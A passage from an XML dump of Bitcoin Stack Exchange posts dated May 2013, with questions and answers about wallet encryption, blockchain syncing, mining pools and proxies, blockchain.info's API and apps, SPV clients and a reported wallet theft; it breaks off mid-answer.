  <row Id="11015" PostTypeId="1" CreationDate="2013-05-18T01:55:17.983" Score="1" ViewCount="389" Body="&lt;p&gt;I know it may be  possible to achieve on Bitcoin-Qt app but don't want to download the whole blockchain into my laptop. I just want a desktop GUI for my BlockChain.info wallets. Is this possible? If so, what client does that?&lt;/p&gt;&#xA;" OwnerUserId="755" LastActivityDate="2013-07-17T03:16:27.030" Title="Is there an OS X desktop client for BlockChain.info?" Tags="|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11016" PostTypeId="2" ParentId="11015" CreationDate="2013-05-18T02:09:06.533" Score="1" Body="&lt;p&gt;There is a chrome extension that can operate offline. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://chrome.google.com/webstore/detail/my-wallet/djjkppdfofjnpcbnkkangbhanjdnoocd?utm_source=chrome-ntp-icon&quot; rel=&quot;nofollow&quot;&gt;https://chrome.google.com/webstore/detail/my-wallet/djjkppdfofjnpcbnkkangbhanjdnoocd?utm_source=chrome-ntp-icon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5079" LastActivityDate="2013-05-18T02:09:06.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11018" PostTypeId="1" AcceptedAnswerId="11040" CreationDate="2013-05-18T03:43:08.310" Score="3" ViewCount="2138" Body="&lt;p&gt;&lt;em&gt;&quot;Change Passphrase...&quot;&lt;/em&gt; obviously lets me encrypt the wallet with a new string of text.  I think (correct me if I'm wrong) that this creates new private key(s) inside wallet.dat.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are existing &lt;em&gt;addresses&lt;/em&gt; affected when the passphrase is changed?  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are they still linked to the old private key (previous passphrase)?  &lt;/li&gt;&#xA;&lt;li&gt;If so, should I send those Bitcoin to myself (sending them to a new address that was generated after the change of passphrase)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-09-03T17:27:30.497" Title="What does Bitcoin-Qt &quot;Change Passphrase...&quot; do to existing private keys and corresponding addresses?" Tags="|bitcoin-core|passphrase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11019" PostTypeId="1" CreationDate="2013-05-18T04:39:14.530" Score="1" ViewCount="216" Body="&lt;p&gt;This past week the US Dept of Homeland Security stopped all Dwolla transfers to/from Mt Gox.  Do wire transfers to/from Mt Gox still work?  Will the US DHS eventually shut down wire transfers to/from Mt Gox?&lt;/p&gt;&#xA;" OwnerUserId="830" LastActivityDate="2013-05-18T07:39:18.550" Title="Will DHS eventually stop wire transfers to/from Mt Gox?" Tags="|mtgox|wire-transfers|" AnswerCount="1" CommentCount="2" ClosedDate="2013-05-19T21:27:49.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="11020" PostTypeId="2" ParentId="11019" CreationDate="2013-05-18T07:39:18.550" Score="1" Body="&lt;p&gt;Take a look at beta bitinstant at &lt;a href=&quot;https://new.bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;https://new.bitinstant.com/&lt;/a&gt; No longer option for cash to mtgox.  Could be possible indicator.&lt;/p&gt;&#xA;" OwnerUserId="5095" LastActivityDate="2013-05-18T07:39:18.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11022" PostTypeId="2" ParentId="10756" CreationDate="2013-05-18T09:23:37.970" Score="3" Body="&lt;p&gt;Like most alt coins, feathercoin is simply a currency with a different set of parameters than bitcoin. In this particular case, they use scrypt for block generation (which is more ASIC resistant) and the block reward is higher at 200 coins per block. I also believe feathercoin follows litecoin's reward target of one block per 2.5 minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you believe that the hordes of bitcoins early adopters have alongside the prevalence of ASICs in bitcoin mining are issues, then you may be inclined to adopt litecoin or feathercoin. That said, the market scope is considerably smaller and there really isn't any significant technology differences between Bitcoin and feathercoin thus it's unlikely feathercoin will achieve broad market penetration.  &lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="4070" LastEditDate="2013-05-18T09:39:18.850" LastActivityDate="2013-05-18T09:39:18.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11023" PostTypeId="1" CreationDate="2013-05-18T09:37:05.107" Score="7" ViewCount="7467" Body="&lt;p&gt;Two days ago my wallet at blockchain.info was hacked, everything was taken (760 coins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/0619d221a761a3b8ec205773440fa6607d65957ef985dac5fb5273a08bda2c89&quot;&gt;https://blockchain.info/tx/0619d221a761a3b8ec205773440fa6607d65957ef985dac5fb5273a08bda2c89&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the password I use Google two step verification. I also use this on the gmail that I use to authorise computers, anybody knows how this could have happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I backed up my wallet to Google Drive.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditDate="2013-05-19T08:08:37.860" LastActivityDate="2021-10-11T04:58:38.323" Title="Hacked my blockchain.info wallet, stole 760 coins" Tags="|blockchain.info|hacking|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11025" PostTypeId="1" CreationDate="2013-05-18T12:21:25.727" Score="3" ViewCount="514" Body="&lt;p&gt;Is it possible to make &quot;intermediate&quot; pool server, which will be gateway to real pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have about 200 pc's, each pc connects to my intermediate pool using own login pass. Intermediate pool should get work (using stratum) from real pool using own login and pass, and submit shares using own login password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3rv0M.jpg&quot; alt=&quot;Gateway Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5100" LastEditorUserId="5406" LastEditDate="2016-04-10T10:25:38.587" LastActivityDate="2016-04-10T10:25:38.587" Title="Intermediate pool server" Tags="|mining-pools|miner-configuration|server|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11026" PostTypeId="2" ParentId="11023" CreationDate="2013-05-18T12:21:40.310" Score="2" Body="&lt;p&gt;Could you be more specific on which 2 way authentication you used?&#xA;What where the exact steps so we can rebuild the scenario or at least understand what happened exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was email by gmail consider the machines you used the blockchain.info/ gmail on as compromised. Most probably all login forms on this machines have been grabbed.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-05-18T12:21:40.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11027" PostTypeId="2" ParentId="11025" CreationDate="2013-05-18T12:28:14.320" Score="2" Body="&lt;p&gt;There are bitcoin mining proxies, some code is available on github (use the search).&#xA;For example &lt;a href=&quot;https://github.com/cdhowie/Bitcoin-mining-proxy&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cdhowie/Bitcoin-mining-proxy&lt;/a&gt;&#xA;(*pls make your own security evaluations on opensource code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not aware of a &quot;intermediate pool&quot;, of course proxies are popular for mining.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-05-18T12:28:14.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11028" PostTypeId="1" AcceptedAnswerId="11031" CreationDate="2013-05-18T14:27:08.633" Score="2" ViewCount="1830" Body="&lt;p&gt;I'm waiting for Bitcoin-Qt to synchronize with the network, but it takes a long time. I'd like to know if I can start using GUIMiner while it's Bitcoin-Qt is still synchronizing.&lt;/p&gt;&#xA;" OwnerUserId="5102" LastEditorUserId="5406" LastEditDate="2016-04-25T15:50:11.987" LastActivityDate="2016-04-25T15:50:11.987" Title="Do I need to wait for Bitcoin-Qt to sync with the network before using GUIMiner?" Tags="|bitcoin-core|miner-configuration|synchronization|guiminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11029" PostTypeId="1" CreationDate="2013-05-18T14:31:25.913" Score="12" ViewCount="55961" Body="&lt;p&gt;What is the normal synchronzing time for your wallet when you first start? I am using 4G on a wireless and it seems to be taking forever to count down the number of blocks left until it is properly synchronized.&lt;/p&gt;&#xA;" OwnerUserId="5103" LastEditorUserId="5406" LastEditDate="2013-09-20T12:10:56.763" LastActivityDate="2017-11-08T03:33:51.473" Title="How long should synchronizing your wallet for the first time take?" Tags="|synchronization|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11030" PostTypeId="2" ParentId="11029" CreationDate="2013-05-18T14:45:23.657" Score="1" Body="&lt;p&gt;It downloads roughly 7GB of data, so it will take a very long time via mobile internet. For desktop computers via normal internet it usually takes roughly a day.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-05-18T14:45:23.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11031" PostTypeId="2" ParentId="11028" CreationDate="2013-05-18T14:46:46.457" Score="3" Body="&lt;p&gt;The answer depends on whether you're using a pool to mine.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you use a pool to mine, you don't need Bitcoin-Qt to mine, so you can mine straight away.&lt;/li&gt;&#xA;&lt;li&gt;If you don't use a pool, you need Bitcoin-Qt to be at the most recent block.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-05-18T14:46:46.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11032" PostTypeId="2" ParentId="11029" CreationDate="2013-05-18T15:02:47.583" Score="6" Body="&lt;p&gt;There are two factors to the time to catch up with the network:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The sheer size of the blockchain&lt;/li&gt;&#xA;&lt;li&gt;The time to verify the blocks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As Tom mentioned the blockchain is currently about 7GB in size, so no matter what it'll take some time to download it. On the other side you have to verify each block, hence each transaction in the block, which requires random access to the blockchain downloaded so far. Depending on your setup the bandwidth may not be the main issue. Random lookups on spinning disks are not the fastest thing to do, and using an SSD might actually result in a speedup of the synchronization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So don't worry if your bandwidth is not fully utilized, it just might be that the disk is the bottleneck (especially for later block &gt;180'000 with lots of transactions in them).&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-05-18T15:02:47.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11033" PostTypeId="1" CreationDate="2013-05-18T17:09:10.663" Score="-2" ViewCount="3027" Body="&lt;p&gt;My bit coin wallet sync is stuck, if anything the blocks remaining is increasing.&#xA;It is not my computer or network because I have another wallet on a different hard drive and that wallet synced in a day, but the problem wallet has been syncing for many many days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bit coin I have bought has not yet appeared in my wallet, so what are my options? I cannot transfer the purchased bit coin  before it appears in my wallet.&lt;/p&gt;&#xA;" OwnerUserId="4991" LastEditorUserId="132" LastEditDate="2014-01-13T14:31:39.920" LastActivityDate="2014-04-13T21:27:07.343" Title="Bitcoin wallet not syncing" Tags="|wallet|synchronization|" AnswerCount="1" CommentCount="2" ClosedDate="2015-08-20T12:04:22.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="11035" PostTypeId="2" ParentId="11033" CreationDate="2013-05-18T17:16:57.777" Score="0" Body="&lt;p&gt;First, a bit information about the underlying OS, bitcoin client config &amp;amp; hardware would be nice. Are you using a virtual environment? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The delay / increased time on the sync problem is hardly to evaluate without this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long is it stuck? How long have you been loading? How much GB have you already loaded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing to check would be the connection, are you using UpnP or forwarded porting? How much bandwidth do you got? Is there a firewall in the way? Ports on switches/virtual environments?&#xA;If thats not the problem maybe IO is it. Right after that i would check if hte cpu is running hot.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-05-18T17:16:57.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11036" PostTypeId="1" AcceptedAnswerId="11072" CreationDate="2013-05-18T18:30:58.743" Score="3" ViewCount="546" Body="&lt;p&gt;I am trying to evaluate how much one could earn as pool owner/solo miner if bitcoin really appreciates in price. To get a number i try to get a figure how much one mined block generates in for example a month, week, year.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How much fees does one mined block generates actually in a given timeframe? &lt;/li&gt;&#xA;&lt;li&gt;What percentage of that is from the block reward, and what percentage is from fees?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="2306" LastEditDate="2013-05-18T19:18:23.663" LastActivityDate="2013-05-20T13:47:28.467" Title="How much do nodes get from blocks, including fees?" Tags="|transaction-fees|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11037" PostTypeId="2" ParentId="2997" CreationDate="2013-05-18T21:00:09.430" Score="0" Body="&lt;p&gt;for the record:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file DB_CONFIG:&lt;br&gt;&#xA;set_lg_dir database&lt;br&gt;&#xA;set_lk_max_locks 120000&lt;br&gt;&#xA;set_cachesize 2 524288000 1  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&gt; 2.5GB cache&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.oracle.com/cd/E17076_02/html/api_reference/C/set_cachesize_parameter.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.oracle.com/cd/E17076_02/html/api_reference/C/set_cachesize_parameter.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For versions higher v0.6 Pieter's way sure is better. This still could be useful for older versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I can't get it to work with Namecoin 3.50&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2013-05-19T16:42:47.673" LastActivityDate="2013-05-19T16:42:47.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11038" PostTypeId="2" ParentId="5714" CreationDate="2013-05-18T22:01:34.070" Score="-1" Body="&lt;p&gt;or you can get some random bytes file ftom &lt;a href=&quot;http://www.random.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.random.org/&lt;/a&gt; and use it as your imput&lt;/p&gt;&#xA;" OwnerUserId="5108" LastActivityDate="2013-05-18T22:01:34.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11039" PostTypeId="1" CreationDate="2013-05-18T22:16:16.450" Score="3" ViewCount="36" Body="&lt;p&gt;Can one import wallet.dat into Bitcoin-QT without overwriting the current wallet? Kind of like a merge function? Or is Blockchain.org the only we to merge wallets together under one account?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-05-18T22:16:16.450" Title="Bitcoin-QT Merge Question" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="0" ClosedDate="2013-05-19T21:29:53.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="11040" PostTypeId="2" ParentId="11018" CreationDate="2013-05-18T23:39:25.040" Score="4" Body="&lt;p&gt;The wallet actually uses a randomly generated master key to encrypt the keys, and this master key is encrypted using your passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you change the passphrase, all that changes is the encrypted master key. The actually encrypted wallet keys aren't touched at all.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-05-18T23:39:25.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11041" PostTypeId="2" ParentId="10756" CreationDate="2013-05-19T04:27:26.687" Score="6" Body="&lt;p&gt;The point of Feathercoin (and the other alt coins) is to see what works and what can gain traction. Feathercoin is where Bitcoin was in 2009-2010—one FTC is about $0.13.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinDesk had a pretty good article on Feathercoin: &lt;a href=&quot;http://www.coindesk.com/feathercoin-shows-heavyweight-potential/&quot;&gt;Feathercoin shows heavyweight potential&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.feathercoin.com/index.php?topic=3.0&quot;&gt;Intro to Feathercoin&lt;/a&gt; has a good list of Feathercoin resources.&lt;/p&gt;&#xA;" OwnerUserId="593" LastActivityDate="2013-05-19T04:27:26.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11042" PostTypeId="2" ParentId="10804" CreationDate="2013-05-19T07:26:26.760" Score="3" Body="&lt;p&gt;According to the Wikipedia article:&quot;The toolkit was called Qt because the letter Q looked appealing in Haavard's Emacs font, and &quot;t&quot; was inspired by Xt, the X toolkit&quot;&lt;/p&gt;&#xA;" OwnerUserId="5110" LastActivityDate="2013-05-19T07:26:26.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11044" PostTypeId="1" CreationDate="2013-05-19T12:54:12.227" Score="3" ViewCount="1162" Body="&lt;p&gt;I've been working on a project involving use of the various Blockchain.info APIs (specifically  the &lt;a href=&quot;https://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;Blockchain Data API&lt;/a&gt;), and am wondering if anyone has tips regarding error handling: the API documentation says nothing about how errors are handled, and my experiments seem to indicate that errors are returned with HTTP status 200 and a strictly HTML response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone implemented a client for this API and can shed some light on whether this is the &quot;usual&quot; state of affairs or a bug? Any additional tips would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5116" LastActivityDate="2013-05-25T17:41:14.733" Title="Blockchain.info API error handling" Tags="|blockchain.info|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11047" PostTypeId="1" CreationDate="2013-05-19T15:06:06.507" Score="3" ViewCount="1916" Body="&lt;p&gt;I have a new question for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have setup the stratum mining proxy, and all is working fine. (Actually found our first block recently!)&#xA;However, I have pushpool running as well, and some of my users still use it based on preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I be assured that people that use stratum isn't getting more shares than those who's using pushpool? Is there a way to set the difficulty on stratum? &#xA;As of now i set the difficulty manually in pushpool's config file, with &lt;code&gt;rpc.target.bits&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is appriciated!&lt;/p&gt;&#xA;" OwnerUserId="4867" LastEditorUserId="5406" LastEditDate="2016-04-24T09:56:07.090" LastActivityDate="2016-04-24T09:56:07.090" Title="Matching pushpool difficulty with stratum's" Tags="|mining-pools|difficulty|stratum|pushpool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11048" PostTypeId="2" ParentId="10894" CreationDate="2013-05-19T15:07:06.887" Score="0" Body="&lt;p&gt;Well basically I went ahead and moved the database (mysql) and rebuilt the pushpool, stratum and litecoind sources on linux.&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2013-05-19T15:07:06.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11049" PostTypeId="1" AcceptedAnswerId="11321" CreationDate="2013-05-19T15:31:08.613" Score="6" ViewCount="3236" Body="&lt;p&gt;I recently sent some bitcoin to a friend using the blockchain.info iPhone app and it sent it with 0 transaction fees.  As a result it caused an awkward situation as my friend was watching block after block added to the blockchain while our transaction remained at 0/unconfirmed.  It eventually got into the blockchain about 8 hours later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug in the app?  I couldn't find any way to control the transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I'm frankly perplexed that no one seems interested in this question.  Let me put it a bit more starkly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making payments using mobile devices is one of the huge promises of bitcoin and was a core part of the original Satoshi vision.  As it stands, the &lt;strong&gt;only functional payment app on the top (or 2nd to top... whatever) mobile platform has a serious flaw, in which there is no way to ensure that payments get confirmed in any reasonable amount of time.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't this be adressed?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="4708" LastEditDate="2013-05-29T11:07:55.463" LastActivityDate="2013-12-06T06:52:53.347" Title="the only iPhone wallet app offers NO WAY to include a transaction fee?" Tags="|transaction-fees|blockchain.info|mobile|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11050" PostTypeId="2" ParentId="11023" CreationDate="2013-05-19T15:34:51.477" Score="0" Body="&lt;p&gt;From this link: &lt;a href=&quot;https://support.google.com/accounts/answer/180744?hl=en&quot; rel=&quot;nofollow&quot;&gt;https://support.google.com/accounts/answer/180744?hl=en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Keep it simple During sign in, you can tell us not to ask for a code&#xA;  again on that particular computer. You'll still be covered, because&#xA;  we'll ask for codes when you or anyone else tries to sign in to your&#xA;  account from other computers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it possible that you had authorized the computer the transaction was initiated from? This would match the idea that the computer was/is compromised. With a remote control tool an attacker eventually was able to login over this pc and make the transaction through remote control desktop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is true, consider all actions taken on this computer as logged.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-05-19T15:34:51.477" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11051" PostTypeId="2" ParentId="11036" CreationDate="2013-05-19T15:56:42.697" Score="1" Body="&lt;p&gt;1) Fees are very block-dependent but recently have normally been in the 0.25 - 0.5BTC range&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) A mined block currently gives 25BTC + fees.  From the above, fees are coming in around 1-2% of the total block reward&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-05-19T15:56:42.697" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11053" PostTypeId="2" ParentId="10165" CreationDate="2013-05-19T17:42:18.700" Score="5" Body="&lt;p&gt;Nothing. That's why you send your TXs to several nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Non mining nodes do it &quot;to keep the whole thing working&quot; as long as it is very cheap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this miners can't keep TXs for themselves and thus do not even bother to try and keep TXs secret. Maybe they also have a better conscience that way. :)&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-05-19T17:42:18.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11054" PostTypeId="1" AcceptedAnswerId="11721" CreationDate="2013-05-19T17:59:52.260" Score="19" ViewCount="11166" Body="&lt;p&gt;I try to understand a SPV implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read the wiki pages on &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;noreferrer&quot;&gt;Protocol Specification&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security&quot; rel=&quot;noreferrer&quot;&gt;Thin Client Security&lt;/a&gt; as well as the &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;white-paper's&lt;/a&gt; chapter 8 .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand:&lt;br&gt;&#xA;Assume user &lt;code&gt;A&lt;/code&gt; has Bitcoin address &lt;code&gt;X&lt;/code&gt;.&lt;br&gt;&#xA;User &lt;code&gt;A&lt;/code&gt; can do &lt;code&gt;getheaders&lt;/code&gt; and load all block headers and then have all block hashes and timestamps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: how does a SPV client then find possible transactions to the user's Bitcoin address &lt;code&gt;X&lt;/code&gt; without loading all blocks (and all transactions)?&lt;/p&gt;&#xA;" OwnerUserId="3697" LastEditorUserId="5406" LastEditDate="2016-10-27T18:22:01.767" LastActivityDate="2018-02-15T16:12:12.443" Title="How do SPV (simple payment verification) wallets learn about incoming transactions?" Tags="|spv|bip37-bloom-filter|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11055" PostTypeId="2" ParentId="11054" CreationDate="2013-05-19T20:57:30.413" Score="-4" Body="&lt;p&gt;I think SPV is only meant to verify transactions, not calculate a balance or list of all transactions to a certain address.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-05-19T20:57:30.413" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11056" PostTypeId="2" ParentId="9956" CreationDate="2013-05-19T21:16:07.323" Score="0" Body="&lt;p&gt;The early bot-miners and current major pool owners are those with the major share beside those who stole or ponied significant amounts of bitcoin..&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A botherder (see mariposa botnet for imagination)who mined back in 2011 and pushed ASIC like hashrates will indeed sit on a decent stack of coins and if solo mined the transaction fees. Dont need rocket science to figure that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A pool owner who owns a major pool maybe makes a load off the transaction fees if kept.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My guess those are the guys with the big bucks.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="2167" LastEditDate="2013-05-19T21:22:00.637" LastActivityDate="2013-05-19T21:22:00.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11058" PostTypeId="1" CreationDate="2013-05-20T01:01:46.927" Score="2" ViewCount="105" Body="&lt;p&gt;I just updated my btc wallet to 0.8.1, I think, to a macbook. Now I can't open it, I keep getting an error message that says &quot;System error Database 1/0 error&quot;?&#xA;I'm fairly technically illiterate so any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5123" LastActivityDate="2013-05-20T01:01:46.927" Title="System error Database 1/0 error" Tags="|wallet|error|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11060" PostTypeId="1" CreationDate="2013-05-20T05:27:46.080" Score="1" ViewCount="411" Body="&lt;p&gt;As described in the protocol specification bitcoin nodes respond to the &lt;code&gt;inv&lt;/code&gt; command, which queries a node's knowledge of one or more objects, with an inventory vector. According to the bitcoin wiki, inventory vectors can either be of type transaction or type block. What else could be stored in a bitcoin inventory vector?&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Inventory_Vectors&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#Inventory_Vectors&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2017-12-23T19:01:31.553" LastActivityDate="2017-12-23T19:01:31.553" Title="What else can bitcoin inventory vectors be used for?" Tags="|protocol|nodes|inventory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11061" PostTypeId="2" ParentId="11054" CreationDate="2013-05-20T06:53:08.373" Score="3" Body="&lt;p&gt;Just found something in bitcoinj sourcecode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * The &quot;getheaders&quot; command is structurally identical to &quot;getblocks&quot;, but has different meaning. On receiving this&#xA; * message a Bitcoin node returns matching blocks up to the limit, but without the bodies. It is useful as an&#xA; * optimization: when your wallet does not contain any keys created before a particular time, you don't have to download&#xA; * the bodies for those blocks because you know there are no relevant transactions.&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2013-05-20T06:53:08.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11063" PostTypeId="1" CreationDate="2013-05-20T08:23:47.207" Score="6" ViewCount="820" Body="&lt;p&gt;In other words, that there exists a nonce for the block that will result in sha256(sha256(block header + nonce)) hash under the current difficulty barrier number.&lt;/p&gt;&#xA;" OwnerUserId="3728" LastEditorUserId="3439" LastEditDate="2013-05-24T19:30:18.937" LastActivityDate="2013-05-24T19:30:18.937" Title="Can it be mathematically proven that a block can be solved?" Tags="|block|nonce|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11064" PostTypeId="2" ParentId="11063" CreationDate="2013-05-20T08:37:47.727" Score="4" Body="&lt;p&gt;The clients make use of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot; rel=&quot;nofollow noreferrer&quot;&gt;Target&lt;/a&gt; to determine if a block hash is valid and will be accepted by the network. The Bitcoin wiki states the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The target is a 256-bit number (extremely large) that all Bitcoin&#xA;clients share. The SHA-256 hash of a block's header must be lower than&#xA;or equal to the current target for the block to be accepted by the&#xA;network. The lower the target, the more difficult it is to generate a&#xA;block. [...]&lt;/p&gt;&#xA;&lt;p&gt;Each hash basically gives you a random number between 0 and the&#xA;maximum value of a 256-bit number (which is huge). If your hash is&#xA;below the target, then you win. If not, you increment the nonce&#xA;(completely changing the hash) and try again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The current target value can be found here: 